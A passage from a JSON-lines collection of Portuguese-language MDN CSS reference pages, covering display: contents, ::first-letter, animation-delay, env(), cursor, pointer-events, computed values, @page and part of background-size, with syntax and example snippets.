segredo é definido como `display: none`; a caixa e qualquer conteúdo agora não são renderizados.\n\n### display: none\n\n#### HTML\n\n\n```html\n<p>Visible text</p>\n<p class=\"secret\">Invisible text</p>\n```\n\n\n#### CSS\n\n\n```css\np.secret {\n  display: none;\n}\n```\n\n\n#### Resultado\n\n### display: contents\n\nNeste exemplo, o externo `<div>` possui uma borda vermelha de 2 pixels e uma largura de 300 px. No entanto, também tem`display: contents` especificado, portanto, este `<div>` não será renderizado, a borda e a largura não serão mais aplicadas e o elemento filho será exibido como se o pai nunca tivesse existido.\n\n#### HTML\n\n\n```html\n<div class=\"outer\">\n  <div>Inner div.</div>\n</div>\n```\n\n\n#### CSS\n\n\n```css\n.outer {\n  border: 2px solid red;\n  width: 300px;\n  display: contents;\n}\n\n.outer > div {\n  border: 1px solid green;\n}\n```\n\n\n#### Resultado\n\nPreocupações com acessibilidade\n-------------------------------\n\nAs implementações atuais na maioria dos navegadores removerão da árvore de acessibilidade qualquer elemento com um `display` valor de `contents`. Isso fará com que o elemento - e em algumas versões do navegador, seus elementos descendentes - não sejam mais anunciados pela tecnologia de leitura de tela. Esse é um comportamento incorreto de acordo com a especificação CSSWG.\n\n* Marcação mais acessível com display: conteúdo | Hidde de Vries\n* Exibição: conteúdo não é uma redefinição de CSS | Adrian Roselli\nCompatibilidade com navegadores\n-------------------------------\n\n### Support of contents\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `display`\n    + `<display-outside>`\n    + `<display-inside>`\n    + `<display-listitem>`\n    + `<display-internal>`\n    + `<display-legacy>`\n* Exibição: conteúdo não é uma redefinição de CSS | Adrian Roselli\n* Marcação mais acessível com display: contents - hiddedevries.nl"}
{"title":"::first-letter (:first-letter) - CSS","text":"::first-letter (:first-letter)\n==============================\n\nSumário\n-------\n\nO pseudo-elemento CSS `::first-letter` seleciona a primeira letra da primeira linha de um bloco, desde que não seja precedida por outro conteúdo (como imagens ou tabelas embutidas/inline) na mesma linha.\n\nA primeira letra de um elemento não é necessariamente uma identificação trivial:\n\n* Pontuação, que é qualquer caractere definido em Unicode de abertura (Ps), de fechamento (Pe), aspa inicial (Pi), aspa final (Pf) e outras pontuações (Po), precedendo ou imediatamente após a primeira letra também é correspondida por esse pseudo-elemento.\n* Da mesma forma, alguns idiomas têm dígitos que são sempre escritos em maiúsculas, como o IJ em holandês. Nesses casos raros, as duas letras do dígrafo devem corresponder ao pseudo-elemento `::first-letter`. (Isso é pouco suportado pelos navegadores, verifique a tabela de compatibilidade).\n* Finalmente, uma combinação do pseudoelemento `::before` e a propriedade `content` podem injetar algum texto no início do elemento. Nesse caso, `::first-letter` corresponderá à primeira letra deste conteúdo gerado.\n\nUma primeira linha tem apenas significado em uma caixa de contêiner de bloco; portanto, o pseudo-elemento `::first-letter` apenas afeta os elementos com um valor de `display` de `block`, `inline-block`, `table-cell`, `list-item` ou `table-caption`. Em todos os outros casos, `::first-letter` não tem efeito.\n\nSomente um pequeno subconjunto de todas as propriedades CSS pode ser usado dentro de um bloco de declaração de um conjunto de regras CSS que contém um seletor usando o pseudoelemento `::first-letter`:\n\n* Todas as propriedades de fonts : `font` (en-US), `font-style` (en-US), `font-feature-settings`, `font-kerning`, `font-language-override` (en-US), `font-stretch` (en-US), `font-synthesis` (en-US), `font-variant` (en-US), `font-variant-alternates` (en-US), `font-variant-caps` (en-US), `font-variant-east-asian` (en-US), `font-variant-ligatures` (en-US), `font-variant-numeric` (en-US), `font-variant-position` (en-US), `font-weight`, `font-size`, `font-size-adjust` (en-US), `line-height` (en-US) and `font-family`.\n* Todas as propriededas de background : `background-color`, `background-image` (en-US), `background-clip`, `background-origin`, `background-position` (en-US), `background-repeat` (en-US), `background-size`, `background-attachment`, and `background-blend-mode`.\n* Todas as propriedades de margem: `margin`, `margin-top`, `margin-right` (en-US), `margin-bottom`, `margin-left` (en-US).\n* Todas as propriedades de \"padding\" (preenchimento): `padding`, `padding-top` (en-US), `padding-right` (en-US), `padding-bottom` (en-US), `padding-left`.\n* Todas as bordas: the taquigraficas `border` (en-US), `border-style` (en-US), `border-color` (en-US), `border-width` (en-US), `border-radius` (en-US), `border-image` (en-US), e as propriedades manuscritas.\n* A propriedade `color`.\n* As propriedades CSS: `text-decoration`, `text-shadow`, `text-transform`, `letter-spacing`, `word-spacing` (en-US) (when appropriate), `line-height` (en-US), `text-decoration-color` (en-US), `text-decoration-line` (en-US), `text-decoration-style`, `box-shadow`, `float`, `vertical-align` (somente se `float` for `none`).\n\nComo toda essa lista será estendida no futuro, é recomendado que você não use qualquer propriedade dentro da declaração do bloco, afim de manter o CSS a qualquer prova.\n\n**Nota:** No CSS 2, os pseudoelementos eram prefixados com um caractere de dois pontos (`:`). Como as pseudo-classes também estavam seguindo a mesma convenção, elas eram indistinguíveis. Para resolver isso, o CSS 2.1 mudou a convenção para pseudoelementos. Agora, um pseudoelemento é prefixado com dois caracteres de dois pontos (`::`) e uma pseudo-classe ainda é prefixado com um único dois pontos (`:`).\n\n Exemplo de **pseudoclasse**:\n `.classedoelemento:hover { ... }`\n\nExemplo de **pesudoelemento:** > `.classedoelemento::first-letter { ... }`\n\nComo vários navegadores já implementaram a versão CSS 2 em uma versão de lançamento, todos os navegadores que suportam a sintaxe de dois pontos também suportam a antiga sintaxe de dois pontos.\n\n**Aviso:** Mas isso pode mudar, portanto use SEMPRE `::` para pseudolementos\n\n...a não se que você **precise muito** que seu código seja compatível com Internet Explore 8, então use um carectere de dois pontos.\n\nExemplo\n-------\n\n\n```css\n/\\* Fazendo odas as letras dos paragrados maior e vermelha \\*/\n\np::first-letter {\n  /\\* Use :first-letter if você precise muito de compatibilidade com IE 8 \\*/\n  color: red;\n  font-size: 130%;\n}\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| CSS Pseudo-Elements Module Level 4 # first-letter-pseudo |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* O peseudo-elemento `::first-line` ."}
{"title":"animation-delay - CSS","text":"animation-delay\n===============\n\nA propriedade CSS **`animation-delay`** especifíca quando uma animação deve começar. Você pode começar a animação no futuro, imediatamente ou desde o início, ou imediatamente e parcialmente através do ciclo de animação.\n\n\n```css\n/\\* Uma animação \\*/\nanimation-delay: 3s;\nanimation-delay: 0s;\nanimation-delay: -1500ms;\n\n/\\* Várias animações \\*/\nanimation-delay: 2.1s, 480ms;\n```\n\n\nMuitas vezes é conveniente usar a propriedade abreviada `animation` para definir todas as propriedades de animação de uma só vez.\n\n|  |  |\n| --- | --- |\n| Initial value | `0s` |\n| Aplica-se a | all elements, `::before` and `::after` pseudo-elements |\n| Inherited | não |\n| Computed value | as specified |\n| Animation type | Not animatable |\n\nSintaxe\n-------\n\n### Valores\n\n``<time>``\n\nO deslocamento do tempo, a partir do momento em que a animação é aplicada ao elemento, no qual a animação deve começar. Isso pode ser especificado em segundos (`s`) ou milesegundos or milliseconds (`ms`). A unidade é necessaria.\n\nUm valor positivo indica que a animação deve começar após o período de especificação ter decorrido. O valor de `0s`, que é o padrão, incida que a animação deve começar desde que foi aplicada.\n\nUm valor negativo faz com que a animação comece imediatamente, mas parcialmente através do seu ciclo. Por exemplo, se você específicar `-1s` como tempo da animation-delay , a animação vai começar imediatamente, mas começará 1 segundo na sequência de animação. Se você específicar um valor negativo para a animation-delay, mas o valor inicial é implícito, o valor inicial é retirado do momento em que a animação é aplicada ao elemento.\n\n\n**Nota:** Quando você especifica vários valores separados por vírgula em uma propriedade `animation-*` , eles serão atribuídos às animações especificadas na propriedade `animation-name` (en-US) em diferentes modos, dependendo de quantos existam. Para mais informações veja Setting multiple animation property values.\n\n### Sintaxe formal\n```\n\nanimation-delay =   \n  <time># (en-US)    \n  \n```\n\nExemplos\n--------\n\nVeja CSS animations (en-US) para exemplos.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| CSS Animations Level 1 # animation-delay |\n\nCompatibilidade com os browsers\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Using CSS animations (en-US)\n* JavaScript `AnimationEvent` API"}
{"title":"env() - CSS","text":"env()\n=====\n\nA função CSS **`env()`** pode ser usada para inserir o valor de uma variável de ambiente definida pelo agente do usuário em seu CSS, de uma maneira semelhante à função `var()` e propriedades personalizadas. A diferença é que, além de serem definidas pelo agente do usuário em vez de serem definidas pelo usuário, as variáveis de ambiente têm escopo global para um documento, enquanto as propriedades personalizadas têm um escopo para o(s) elemento(s) no(s) qual(is) é/são declarado(s).\n\n\n```css\nbody {\n  padding: env(safe-area-inset-top, 20px) env(safe-area-inset-right, 20px) env(\n      safe-area-inset-bottom,\n      20px\n    ) env(safe-area-inset-left, 20px);\n}\n```\n\n\nAlém disso, ao contrário das propriedades personalizadas, que não podem ser usadas fora do escopo das declarações, a função `env()` pode ser usada em qualquer parte do valor de uma propriedade ou em qualquer parte de um *descriptor* (por exemplo, regras Media (en-US)). À medida que a especificação evolui, essa também pode ser usada em outros lugares, como em seletores.\n\nOriginalmente fornecido pelo navegador iOS para permitir que os desenvolvedores coloquem seu conteúdo em uma *safe area* (área segura) na janela de visualização, os valores de `safe-area-inset-*` definidos na especificação podem ser usados para ajudar a garantir que o conteúdo seja visível até mesmo para usuários que usam uma tela não retangular.\n\nSintaxe\n-------\n\n\n```css\n/\\* Usando os quatro valores de inserção safe area sem valores de fallback \\*/\nenv(safe-area-inset-top);\nenv(safe-area-inset-right);\nenv(safe-area-inset-bottom);\nenv(safe-area-inset-left);\n\n/\\* Usando-os com valores de fallback \\*/\nenv(safe-area-inset-top, 20px);\nenv(safe-area-inset-right, 1em);\nenv(safe-area-inset-bottom, 0.5vh);\nenv(safe-area-inset-left, 1.4rem);\n```\n\n### Valores\n\n`safe-area-inset-top`, `safe-area-inset-right`, `safe-area-inset-bottom`, `safe-area-inset-left`\n\nAs variáveis `safe-area-inset-*` são quatro variáveis de ambiente que definem um retângulo por seus valores de inserção: *top, right, bottom* e *left* a partir da borda da janela de visualização, no qual é seguro colocar o conteúdo sem o risco de ser cortado pela forma de um visor não retangular. Para janelas de visualização retangulares, como o monitor de um laptop comum, seu valor é igual a zero. Para telas não retangulares - como um visor de um relógio redondo - os quatro valores definidos pelo agente do usuário formam um retângulo de modo que todo o conteúdo dentro do retângulo seja visível.\n\n\n**Nota:** Ao contrário de outras propriedades CSS, os nomes de propriedades definidos pelo agente do usuário fazem distinção entre maiúsculas e minúsculas.\n\n### Sintaxe formal\n```\n\n<env()> =   \n  env( <custom-ident> (en-US) <integer [0,∞]> (en-US)\\* (en-US) , <declaration-value>? (en-US) )    \n  \n```\n\nExemplos\n--------\n\nO exemplo abaixo faz uso do segundo parâmetro opcional de `env()`, que permite fornecer um valor de *fallback* caso a variável de ambiente não esteja disponível.\n\n\n```html\n<p>\n  Se a função <code>env()</code> é suportada em seu navegador, o texto deste\n  parágrafo deverá estar na borda <i>top</i>, <i>right</i> e <i>bottom</i>, ter\n  50px de preenchimento entre a borda e o texto. O CSS é equivalente ao\n  preenchimento: <code>padding: 0 0 0 50px</code>, porque, ao contrário de\n  outras propriedades CSS, os nomes de propriedades do agente do usuário\n  diferenciam letras maiúsculas de minúsculas.\n</p>\n```\n\n\n\n```css\np {\n  width: 300px;\n  border: 2px solid red;\n  padding: env(safe-area-inset-top, 50px) env(safe-area-inset-right, 50px) env(\n      safe-area-inset-bottom,\n      50px\n    ) env(SAFE-AREA-INSET-LEFT, 50px);\n}\n```\n\n### Exemplo com valores\n\n\n```css\npadding: env(\n  safe-area-inset-bottom,\n  50px\n); /\\* zero para todos agentes do usuário que são retangulares\\*/\npadding: env(\n  Safe-area-inset-bottom,\n  50px\n); /\\* 50px porque as propriedades do agente do usuário diferenciam maiúsculas de minúsculas \\*/\npadding: env(\n  x,\n  50px 20px\n); /\\* como se estivesse preenchendo: '50px 20px' que foram definidos, porque x não é uma variável de ambiente válida \\*/\npadding: env(\n  x,\n  50px,\n  20px\n); /\\* ignorado '50px, 20px' porque não é um valor de preenchimento válido e x não é uma variável de ambiente válida \\*/\n```\n\n\nA sintaxe *fallback*, como de propriedades customizadas, permite vírgulas. Mas se o valor da propriedade não suportar vírgulas, o valor não é válido.\n\n**Nota:** As propriedades do agente do usuário não são redefinidas pela propriedade all (en-US).\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| CSS Environment Variables Module Level 1 # env-function |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `var(…)`\n* CSS Custom Properties for Cascading Variables (en-US)\n* Custom Properties (--\\*)\n* Using CSS custom properties (variables)"}
{"title":"cursor - CSS","text":"cursor\n======\n\nSumário\n-------\n\nA propriedade CSS **cursor** especifica o cursor do mouse mostrado quando o ponteiro do mouse está sobre um elemento.\n\nExperimente\n-----------\n\nSintaxe\n-------\n\n\n```css\n/\\* Keywords \\*/\ncursor: pointer;\ncursor: auto;\n\n/\\* Usando URL e cordenadas \\*/\ncursor:\n  url(cursor1.png) 4 12,\n  auto;\ncursor:\n  url(cursor2.png) 2 2,\n  pointer;\n\n/\\* Valores globais \\*/\ncursor: inherit;\ncursor: initial;\ncursor: unset;\n```\n\n### Valores\n\n`<uri>` \nExperimental\n\nUma url(...) ou uma lista de url(...) separada por vírgula, apontando para uma arquivo de imagem. Mais que uma `<uri>()` (en-US) pode ser fornecida como fallback, em caso de alguns tipos de imagem não ser suportado. Um fallback não-URL (um ou mais dos outros valores) **deve** estar no final da lista de fallbacks.\n\n`<x>` `<y>` \nExperimental\n\nCoordenadas x e y opcionais. Dois números não-negativos, sem unidade e menores que 32.\n\n`Keyword`\n\n**Mova o mouse sobre os valores para testar:**\n\n| Categoria | Valor CSS | Actual | Descrição |\n| --- | --- | --- | --- |\n| General | `auto` |  | O brower determina o cursor para ser exibido baseado no contexto atual. |\n| `default` | default.gif | Cursor padrão, tipicamente uma seta. |\n| `none` |  | Nenhum cursor é mostrado. |\n| Links & status | `context-menu` | context-menu.png | \n Um menu de contexto está disponível sob o cursor.Somente IE 10 e\n superior implementou esta propriedade no Windows:\n [Erro do Firefox 258960](https://bugzil.la/258960).\n  |\n| `help` | help.gif | Indicando que ajuda está disponível. |\n| `pointer` | pointer.gif | E.g. Usado quando pairando o cursor sobre links, tipicamente uma mão. |\n| `progress` | progress.gif | \n O programa está processando em segundo plano, mas o o usuário ainda pode\n interagir com a interface (diferente de `wait`).\n  |\n| `wait` | wait.gif | O programa está ocupado (às vezes uma ampulheta ou relógio). |\n| Seleção | `cell` | cell.gif | Indica que a célula pode ser selecionada. |\n| `crosshair` | crosshair.gif | \n Cursor de cruz, normalmente usado para indicar seleção em uma imagem\n bitmap.\n  |\n| `text` | text.gif | Indica que o texto pode ser selecionado, normalmente um I maiúsculo. |\n| `vertical-text` | vertical-text.gif | \n Indica que o texto vertical pode ser selecionado, normalmente um I\n maiúsculo virado de lado.\n  |\n| Arrastar e soltar | `alias` | alias.gif | Indicando que um alias ou atalho deve ser criado. |\n| `copy` | copy.gif | Indica que algo será copiado. |\n| `move` | move.gif | O item sob o mouse pode ser movido. |\n| `no-drop` | no-drop.gif | \n Cursor mostrando que não é permitido largar um elemento no local\n atual.[Erro do Firefox 275173](https://bugzil.la/275173)no Windows e no Mac OS X, \"sem\n soltar é o mesmo que não permitido\".\n  |\n| `not-allowed` | not-allowed.gif | Cursor mostrando que uma ação não pode ser efetuada. |\n| Resize & scrolling | `all-scroll` | all-scroll.gif | \n Cursor showing that something can be scrolled in any direction\n (panned).[Erro do Firefox 275174](https://bugzil.la/275174) on Windows, \"*all-scroll*\n is the same as *move*\".\n  |\n| `col-resize` | col-resize.gif | \n The item/column can be resized horizontally. Often rendered as arrows\n pointing left and right with a vertical bar separating.\n  |\n| `row-resize` | row-resize.gif | \n The item/row can be resized vertically. Often rendered as arrows\n pointing up and down with a horizontal bar separating them.\n  |\n| `n-resize` | Example of a resize towards the top cursor | \n Some edge is to be moved. For example, the `se-resize` cursor\n is used when the movement starts from the *south-east* corner of\n the box.\n  |\n| `e-resize` | Example of a resize towards the right cursor |\n| `s-resize` | Example of a resize towards the bottom cursor  |\n| `w-resize` | Example of a resize towards the left cursor |\n| `ne-resize` | Example of a resize towards the top-right corner cursor |\n| `nw-resize` | Example of a resize towards the top-left corner cursor |\n| `se-resize` | Example of a resize towards the bottom-right corner cursor |\n| `sw-resize` | Example of a resize towards the bottom-left corner cursor |\n| `ew-resize` | 3-resize.gif | Indicates a bidirectional resize cursor. |\n| `ns-resize` | 6-resize.gif |\n| `nesw-resize` | 1-resize.gif |\n| `nwse-resize` | 4-resize.gif |\n| Zoom | `zoom-in` | zoom-in.gif | Indicates that something can be zoomed (magnified) in or out. |\n| `zoom-out` | zoom-out.gif |\n| Grab | `grab` | grab.gif | Indicates that something can be grabbed (dragged to be moved). |\n| `grabbing` | grabbing.gif |\n\n### Sintaxe formal\n```\n\ncursor =   \n  [ (en-US) [ (en-US) <url> | (en-US) <url-set> ] (en-US) [ (en-US) <x> <y> ] (en-US)? (en-US) ] (en-US)# (en-US)? (en-US) [ (en-US) auto | (en-US) default | (en-US) none | (en-US) context-menu | (en-US) help | (en-US) pointer | (en-US) progress | (en-US) wait | (en-US) cell | (en-US) crosshair | (en-US) text | (en-US) vertical-text | (en-US) alias | (en-US) copy | (en-US) move | (en-US) no-drop | (en-US) not-allowed | (en-US) grab | (en-US) grabbing | (en-US) e-resize | (en-US) n-resize | (en-US) ne-resize | (en-US) nw-resize | (en-US) s-resize | (en-US) se-resize | (en-US) sw-resize | (en-US) w-resize | (en-US) ew-resize | (en-US) ns-resize | (en-US) nesw-resize | (en-US) nwse-resize | (en-US) col-resize | (en-US) row-resize | (en-US) all-scroll | (en-US) zoom-in | (en-US) zoom-out ] (en-US)    \n  \n<url> =   \n  <url()>  | (en-US)  \n  <src()>    \n  \n<x> =   \n  x    \n  \n<y> =   \n  y    \n  \n<url()> =   \n  url( <string> (en-US) <url-modifier>\\* (en-US) )  | (en-US)  \n  <url-token>                        \n  \n<src()> =   \n  src( <string> (en-US) <url-modifier>\\* (en-US) )    \n  \n```\n\nExemplos\n--------\n\n\n```css\n.foo {\n  cursor: crosshair;\n}\n\n/\\* use velor prefixado se \"zoom-in\" não for suportado \\*/\n.bar {\n  cursor: -webkit-zoom-in;\n  cursor: zoom-in;\n}\n\n/\\* valor padrão como fallback para url() deve ser fornecido (não funciona sem) \\*/\n.baz {\n  cursor: url(hyper.cur), auto;\n}\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| CSS Basic User Interface Module Level 4 # cursor |\n\nDefinição formal\n----------------\n\n|  |  |\n| --- | --- |\n| Initial value | `auto` |\n| Aplica-se a | all elements |\n| Inherited | yes |\n| Computed value | as specified, but with `url` (en-US) values made absolute |\n| Animation type | discrete |\n\nCompatibilidade\n---------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `<uri>()` (en-US)\n* `pointer-events`"}
{"title":"pointer-events - CSS","text":"pointer-events\n==============\n\nResumo\n------\n\nA propriedade CSS `pointer-events` permite autores controlarem sob qualquer circustancia(se houver) um elemento gráfico particular podendo ser o alvo (en-US) do evento do mouse. Quando essa propriedade não é especificada, as mesmas características do valor `visiblePainted` é aplicada no conteúdo SVG.``\n\nAlém de indicar que este elemento não é o alvo do evento do mouse, o valor `none` instrui o evento do mouse a \"passar\" o elemento e tudo que está \"abaixo\" deste elemento.\n\n|  |  |\n| --- | --- |\n| Initial value | `auto` |\n| Aplica-se a | all elements |\n| Inherited | yes |\n| Computed value | as specified |\n| Animation type | discrete |\n\nSintaxe\n-------\n\n\n```css\npointer-events: auto;\npointer-events: none;\npointer-events: visiblePainted;\npointer-events: visibleFill;\npointer-events: visibleStroke;\npointer-events: visible;\npointer-events: painted;\npointer-events: fill;\npointer-events: stroke;\npointer-events: all;\n\npointer-events: inherit;\n```\n\n### Valores\n\n`auto`\n\nO elemento se comporta como se a propriedade `pointer-events` não fosse especificada. Em conteúdo SVG, esse valor e o valor `visiblePainted` tem o mesmo efeito.\n\n`none`\n\nO elemento nunca é o alvo (en-US) de eventos do mouse; contudo, o evento do mouse pode direcionar seus elementos descendentes se esses descendentes tiverem algum outro valor configurado no `pointer-events.` Nessas circunstâncias, os eventos do mouse vão acionar eventos de escuta em seus elementos pai conforme apropriado no seu caminho de/para o descendente, durante as fases do evento captura/borbulha. (en-US)\n\n`visiblePainted`\n\nApenas SVG. O elemento pode apenas ser alvo de um evento de mouse quando a propriedade `visibility` é definida como `visible` e quando o cursor do mouse estiver sobre o interior (exemplo: \"preenchimento\") do elemento e a propriedade `fill` tiver um valor exceto `none`, ou quando o cursor do mouse estiver sobre o perímetro(exemplo: \"linha\") do elemento e a propriedade `stroke` estiver definida com um valor exceto `none`.\n\n`visibleFill`\n\nApenas SVG. O elemento apenas pode ser o alvo de um evento mouse quando a propriedade `visibility` é definida como `visible` e quando o cursor do mouse estiver sobre o interior (exemplo: \"preenchimento\") do elemento. O valor da propriedade `fill` não afeta o processamento dos eventos.\n\n`visibleStroke`\n\nApenas SVG. O elemento apenas pode ser o alvo de um evento do mouse quando a propriedade `visibility` é definida como `visible` e quando o cursor do mouse estiver sobre o perímetro (exemplo: \"linha\") do elemento. O valor da propriedade `stroke` não afeta o processamento do evento.\n\n`visible`\n\nApenas SVG. O elemento pode ser o alvo de um evento de mouse quando a propriedade `visibility` é definida como `visible` e o cursor do mouse estiver sobre ou no interior (exemplo: preenchimento) ou perímetro (exemplo: linha) do elemento. O valor do `fill` e `stroke` não afeta o processamento do evento.\n\n`painted`\n\nApenas SVG. O elemento apenas pode ser o alvo de um evento do mouse quando o cursor do mouse estiver sobre o interior (exemplo: \"preenchimento\") do elemento e a propriedade `fill` definida com valor diferente de `none`, ou quando o cursor do mouse estiver no perímetro(exemplo: \"linha\") do elemento e a propriedade `stroke` definida com valor diferente de `none`. O valor da propriedade `visibility` não afeta o processamento do evento.\n\n`fill`\n\nApenas SVG. O elemento apenas pode ser o alvo de um evento do mouse quando o ponteiro estiver sobre o interior (exemplo: preenchimento) do elemento. Os valores das propriedades `fill` e `visibility` não afetam o processamento do evento.\n\n`stroke`\n\nApenas SVG. O elemento apenas pode ser o alvo de um evento do mouse quando o ponteiro estiver sobre o perímetro (exemplo: linha) do elemento. Os valores das propriedades `stroke` e `visibility` não afetam o processamento do evento.\n\n`all`\n\nApenas SVG. O elemento apenas pode ser alvo do evento do mouse quando o ponteiro estiver sobre o interior (exemplo: preenchimento) ou perímetro (exemplo: linha) do elemento. Os valores das propriedades `fill`, `stroke` e `visibility` não afetam o processamento do evento.\n\n### Sintaxe formal\n```\n\npointer-events =   \n  auto            | (en-US)  \n  bounding-box    | (en-US)  \n  visiblePainted  | (en-US)  \n  visibleFill     | (en-US)  \n  visibleStroke   | (en-US)  \n  visible         | (en-US)  \n  painted         | (en-US)  \n  fill            | (en-US)  \n  stroke          | (en-US)  \n  all             | (en-US)  \n  none              \n  \n```\n\nExemplos\n--------\n\n### Exemplo 1\n\n\n```css\n/\\* Exemplo 1: Fazer todas img não reagir a qualquer evento de mouse tal como arrastar, passar sobre, clique etc \\*/\nimg {\n  pointer-events: none;\n}\n```\n\n### Exemplo 2\n\nMakes the link to `http://example.com` non-reactive.\n\n\n```html\n<ul>\n  <li><a href=\"https://developer.mozilla.org\">MDN</a></li>\n  <li><a href=\"http://example.com\">example.com</a></li>\n</ul>\n```\n\n\n\n```css\na[href=\"http://example.com\"]\n{\n  pointer-events: none;\n}\n```\n\nNotas\n-----\n\nNote que previnir um elemento de ser o alvo de eventos de mouse usando `pointer-events` não necessariamente quer dizer que o evento ouvinte do mouse desde elemento *não pode* ou *não vai se* desencadeado. Se um dos elementos filhos tem `pointer-events` explicitamente definidos para *permitir* que o filho seja o alvo do evento do mouse, então qualquer evento direcionado para este filho vai passar através do pai como o evento se deslocando ao longo da cadeia pai, e os ouvintes do evento gatilho do pai conforme o caso. Claro que qualquer atividade do mouse em um ponto da tela que é coberto pelo pai, mas não pelo filho, não será capturado por qualquer filho ou pai (isso vai \"através\" do pai e qualquer alvo que está abaixo).\n\nNós gostaríamos de fornecer um controle de textura mais refinado (do que apenas `auto` e `none`) em HTML para que partes de um elemento fizessem com que os eventos mouse \"capturem\" , e quando. Para nos ajudar a decidir como `pointer-events` devem ser estendido para HTML, se você tem qualquer coisa particular que você gostaria de fazer com essa propriedade, então por favor adicione na seção Caso de Uso dessa wiki page (não se preocupe sobre ficar organizado ).\n\nEsta propriedade pode também ser usada para alcançar melhores taxas de quadros durante a rolagem. De fato, enquanto rola a página, o mouse passa sobre alguns elementos, então efeitos hover se aplicam. Contudo, esses efeitos são muitas vezes despercebidas pelo usuário e principalmente resultam em uma rolagem ruim. Aplicar `pointer-events: none` no `body` desabilita eventos de mouse incluindo hover que resultam em uma performance melhor de rolagem.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| CSS Basic User Interface Module Level 4 # pointer-events-control |\n| Scalable Vector Graphics (SVG) 2 # PointerEventsProperty |\n\nCompatibilidade do navegador\n----------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* The SVG attribute `pointer-events (en-US)`\n* WebKit Specs PointerEventsProperty extended for use in (X)HTML content\n* 60fps scrolling using pointer-events: none"}
{"title":"Valor Computado - CSS","text":"Valor Computado\n===============\n\nThe **computed value** of a CSS property is computed from the specified value by:\n\n* Handling the special values `inherit` (en-US) and `initial`, and\n* Doing the computation needed to reach the value described in the \"Computed value\" line in the property's summary.\n\nThe computation needed to reach the **computed value** for the property typically involves converting relative values (such as those in `em` units or percentages) to absolute values.\n\nFor example, if an element has specified values `font-size: 16px` and `padding-top: 2em`, then the computed value of `padding-top` is `32px` (double the font size).\n\nHowever, for some properties (those where percentages are relative to something that may require layout to determine, such as `width`, `margin-right`, `text-indent`, and `top`), percentage specified values turn into percentage computed values. Additionally, unitless numbers specified on the `line-height` property become the computed value, as specified. These relative values that remain in the computed value become absolute when the used value (en-US) is determined.\n\nThe main use of the *computed value* (other than as a step between the specified value and used value) is inheritance, including the `inherit` (en-US) keyword.\n\nNotas\n-----\n\nThe `getComputedStyle()` (en-US) DOM API returns the `resolved value` (en-US), which may either be the `computed value` or the `used value`, depending on the property.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| Cascading Style Sheets Level 2 Revision 2 (CSS 2.2) Specification # computed-value |\n\nVeja também\n-----------\n\n* CSS Reference"}
{"title":"@page - CSS","text":"@page\n=====\n\nResumo\n------\n\nA regra CSS `@page` é utilizada para modificar algumas propriedades CSS quando o documento for impresso. Você não pode mudar todas as propriedades CSS com @page. Você poderá somente mudar as margens, orphans, widows, e page breaks do documento. Na tentativa de mudar outra propriedade CSS, elas serão ignoradas.\n\nA regra CSS `@page` pode ser acessada via interface do modelo de objeto `CSSPageRule` (en-US).\n\n**Nota:** A W3C está analisando como lidar com unidades viewport-related `<length>` (en-US), `vh`, `vw`, `vmin`, and `vmax`. Enquanto isso, não use eles junto com a regra @page.\n\nSintaxe\n-------\n```\n\n@page :pseudo-class {\n  margin:2in;\n}\n```\n\nExemplos\n--------\n\nPodemos fazer referência a vários pseudo-classes (en-US) de `@page` por exemplo.\n\n* `:first` (en-US)\n* `:left` (en-US)\n* `:right` (en-US)\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| CSS Paged Media Module Level 3 # at-page-rule |\n| CSS Logical Properties and Values Level 1 # page |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
{"title":"background-size - CSS","text":"background-size\n===============\n\n A propriedade **`background-size`** do CSS define o tamanho da imagem de fundo do elemento.\n A imagem pode ser deixada no seu tamanho natural, estendida ou comprimida para caber no espaço disponível.\n\nExperimente\n-----------\n\nEspaços não cobertos por uma imagem de fundo são preenchidos com a propriedade `background-color`, e a cor do fundo ficará visível atrás das imagens de fundo que têm transparência/translucidez.\n\nSintaxe\n-------\n\n\n```css\n/\\* Valores de palavras-chave \\*/\nbackground-size: cover;\nbackground-size: contain;\n\n/\\* Sintaxe de um valor \\*/\n/\\* largura da imagem (altura torna-se 'auto') \\*/\nbackground-size: 50%;\nbackground-size: 3.2em;\nbackground-size: 12px;\nbackground-size: auto;\n\n/\\* Sintaxe de dois valores \\*/\n/\\* Primeiro valor: largura da imagem, segundo valor: altura \\*/\nbackground-size: 50% auto;\nbackground-size: 3em 25%;\nbackground-size: auto 6px;\nbackground-size: auto auto;\n\n/\\* Vários planos de fundo \\*/\nbackground-size: auto, auto; /\\* Não confunda com `auto auto` \\*/\nbackground-size: 50%, 25%, 25%;\nbackground-size: 6px, auto, contain;\n\n/\\* Valores globais \\*/\nbackground-size: inherit;\nbackground-size: initial;\nbackground-size: revert;\nbackground-size: revert-layer;\nbackground-size: unset;\n```\n\n\nA propriedade `background-size` é especificada de uma das seguintes maneiras:\n\n* Usando a palavra-chave `contain` ou `cover`.\n* Usando somente o valor da largura, caso em que o padrão de altura é `auto`.\n* Usando ambos os valores da largura e altura, nesse caso o primeiro define a largura e o segundo define a altura.\n Cada valor pode ser `<length>` (en-US), `<percentage>` (en-US) ou `auto`.\n\nPara especificar o tamanho de várias imagens de fundo, separe o valor de cada uma com uma vírgula.\n\n### Valores\n\n`contain`\n\n Dimensiona a imagem o máximo possível dentro do seu contêiner sem cortar ou estender a imagem.\n Se o contêiner for maior do que a imagem, resultará em uma imagem lado a lado, a menos que a propriedade 